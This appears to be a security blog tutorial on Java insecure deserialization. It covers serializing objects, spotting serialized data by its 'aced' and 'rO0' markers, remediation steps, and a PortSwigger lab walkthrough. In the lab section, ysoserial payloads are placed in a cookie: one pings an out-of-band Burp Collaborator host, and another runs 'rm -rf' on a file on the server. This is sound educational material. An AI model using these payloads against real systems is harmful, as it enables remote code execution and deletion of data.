Insecure Deserialization Attacks

Waleed Alhajri
19/03/2022


Introduction
Here, I will try to explain one of OWASP's top ten risks in web, which is the insecure deserialization vulnerability from a penetration testing perspective, starting from how to serialize and then deserialize an object and then analyzing the vulnerability from white and black box approach and afterward showing the impact and how to remediate it. Finally, solving a lab to demonstrate how an attacker could abuse this vulnerability.

Deserialization is the opposite of serialization, which moves an object from memory and saves it as a file on the disk that could be transferred through the network or saved for later use.

Suppose an application deserializes an object that the malicious user controls; this could cause a high-risk issue. In that case, the user simply could send a malicious payload that could lead to a remote code execution attack, one of the most serious attacks possible.
Serialization & Deserialization using Java
Here, I will demonstrate how to serialize and deserialize an object in Java, the concept will be similar in other languages as well.

Serializing an Object
You could simply serialize an object by doing the following:

First creating an object from the student class

public class Student implements java.io.Serializable {
public String name;
public String major;
public int ID;
public transient double GPA;

public void info() {
System.out.println(name + " is studying " + major + "
with a GPA of " + GPA);
      }
}

keep in mind that to be able to serialize an object you need to meet the following requirements:
1 - The class must implement the java.io.Serializable interface.
2 - All of the fields in the class must be serializable. If a field is not
serializable, it must be marked transient. Similar to the GPA variable above.


Then let's create the serialization code as bellow:

import java.io.*;
public class Serialization {
       public static void main(String [] args) {
       //Creating a student object and assign value to it
       Student student = new Student();
       student.name = "Waleed";
       student.major = "Software engineer";
       student.ID = 434123456;
       student.GPA = 3.89;
       //Serialize the student object and writing it to a file
       try {
              FileOutputStream fileOut = new FileOutputStream("./files/student.ser");
              ObjectOutputStream out = new ObjectOutputStream(fileOut);
              out.writeObject(student);
              out.close();
              fileOut.close();
              System.out.printf("Serialized data is saved in ./files/student.ser");
       } catch (IOException i) {
              i.printStackTrace();
       }
     }
}
After running the code, the student object has been serialized and written to a file
Deserializing an Object
Now we can deserialize the student object by doing the following:

import java.io.*;


public class Deserialization {
   public static void main(final String [] args) {
      Student student = null;
      //now we will read the serialized object from the file
      try {
         final FileInputStream fileIn = new FileInputStream("./files/student.ser");
         final ObjectInputStream in = new ObjectInputStream(fileIn);
         student = (Student) in.readObject();
         in.close();
         fileIn.close();
      } catch (final IOException i) {
         i.printStackTrace();
         return;
      } catch (final ClassNotFoundException c) {
         System.out.println("Student class not found");
         c.printStackTrace();
         return;
      }
      //now printing the values of deserialized object
      System.out.println("Deserialized Student...");
      System.out.println("Name: " + student.name);
      System.out.println("Major: " + student.major);
      System.out.println("ID: " + student.ID);
      System.out.println("GPA: " + student.GPA);
   }
}
After running the deserialization code above, the program will read the serialized object file then read its content
But note that the GPA value is set to zero because it was marked as transient and the actual value was not serialized from the beginning
Identifying a Serialized Object
Below, I will try to shed some light on this subject from white and black box perspectives.

White-Box Approach
If you can search the source code, you should search inside the project for any input controlled by the user to the following Java API for potential insecure deserialization vulnerability:
  • Serializable
  • XMLdecoder
  • XStream with from XML method (xstream version <= v1.46 is vulnerable to the serialization issue)
  • ObjectInputStream with readObject
  • Uses of readObject, readObjectNodData, readResolve or readExternal
  • ObjectInputStream.readUnshared

For example, you can search it using the following command:

grep -r "ObjectInputStream" ./*
or by using the following tool Gadget Inspector to analyze the source code statically.

Black-Box Approach
If you capture any data with the following patterns, this may suggest a Java serialization stream.

HEX
Let's assume that somehow you have downloaded or captured a file from a web application that starts with the hexadecimal format "aced" is most likely a Java serialized object like the below picture:

xxd student.ser

This is the hex value of a serialized object file
The same thing can be done if you capture the serialized traffic
Now, let's send the cookie value to decode it
And now, if we checked the decoded part at the end of the picture below, it starts with the magic byte of a Java serialized object
Base64
Base64 format of the Java serialized object will start with "rO0" like the following picture:
The same can be seen if you capture similar traffic of data
HTTP Header
Also, you can check the "Content-type" HTTP response header is set to the following Content-Type: application/x-java-serialized-object it may indicate that this is a serialized object stream.

Impact
Since we know how to serialize and deserialize an object, what harm this feature could bring to us? It could bring a lot of dangerous vulnerabilities such as privilege escalation, arbitrary file access, and denial-of-service attacks and usually this could lead to Remote Code Execution (RCE).

Remediation
Keep in mind that there is no "silver bullet" that can prevent deserialization attacks. It is best to avoid taking any serialized input from users or untrusted sources and deserialize it, but if deserializing is a must, then implementing a few of the following techniques are a good way for mitigating deserialization attacks in Java:

  • Log deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.
  • Isolating and running code that deserializes in low privilege environments when possible.
  • If possible, only permit primitive data types like byte, short, int, long, float, double, boolean, and char.
  • In your code, override the ObjectInputStream.resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.
  • Restricting or monitoring incoming and outgoing network connectivity from containers or servers that deserialize.

Abusing Deserialization Vulnerability
I will demonstrate how to exploit this vulnerability by doing this lab from PortSwigger academy. But first, let's learn about gadgets and why we need them.

Gadgets are code that exists inside the application. Attackers use it to accomplish their goals, but a gadget may not by itself do anything harmful with user input. Still, an attacker could pass the input value into a dangerous gadget by chaining multiple gadgets together. But manually identifying gadget chains require source code access and also can be a difficult task to do; fortunately, there are some tools to automate the gadget finding process such as gadgetinspector, and also there are tools such as ysoserial with a range of pre-discovered chains that have been successfully tested and exploited on other websites.

Lab
The objective of this lab is to delete a file from the server, as shown in the below picture
After starting the lab and logging into the system using the credentials provided earlier
If we intercept the request using BurpSuite (an HTTP proxy)
Then intercept the response by doing the following
A cookie is set that looks like a java serialized object encoded using base64 then URL encoded, we know this because it starts with "rO0A" as described in the black-box section scenario.
Also, we can double-check by decoding it
We can see in the decoded part that it looks like a compiled Java code. Now we can check if it is vulnerable to insecure deserialization. Let's start with creating a payload using Ysoserial. First, let's download ysoserial using the following command:

Wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
Since we don't know which gadget will work, we need a proof of concept before creating the payload to get Remote Code Execution (RCE). Let's start with setting up Burp Collaborator by doing the following
Then copying the URL of the collaborator client
Now since everything is set up, let's create a payload that will ping my collaborator client, and I used the "CommonsCollections2" gadget because it is the latest version of this library in the tool. Also, in order to run the command, we need:
  1. generate the malicious serialized object.
  2. Encode it into base64.
  3. URL encode it.
  4. Paste it into the cookie field.
Because this is how we did receive it:

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 'ping -c 1 ne56sqoh77lwer2ly6cpoidy8pef24.burpcollaborator.net' | base64 -w 0
  • Java -jar = to run the ysoserial tool
  • CommonsCollections2 = is the gadget we used to run our command
  • Value between the quotation marks('') = command we want to run to ping our collaborator client once
  • Pipe mark(|) = sending the output of the left side as an input to the right side
  • base64 -w0 = encode it as base64 and -w0 to disable line wrapping
Let's copy the payload and URL encode it then put it in the cookie field and send it to see if we receive a ping from the web-server
After sending the payload we got a connection on collaborator client
This means we can run commands on the web server. Let's delete Carlos's file to complete the objective of this lab by writing the following command:

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 'rm -rf /home/carlos/morale.txt' | base64 -w 0
Now let's encode the URL and send it
And with this we solved the challenge
Conclusion
Insecure deserialization vulnerability is a serious issue, and one of OWASP's top 10 risks which was introduced first in the 2017 version and also in the 2021 version. Therefore it is essential to verify every input supplied from untrusted sources and to educate developers about such vulnerabilities.

Share this blog
Follow us
Advance your skills by reading the latest blog created by our team.
Other Blogs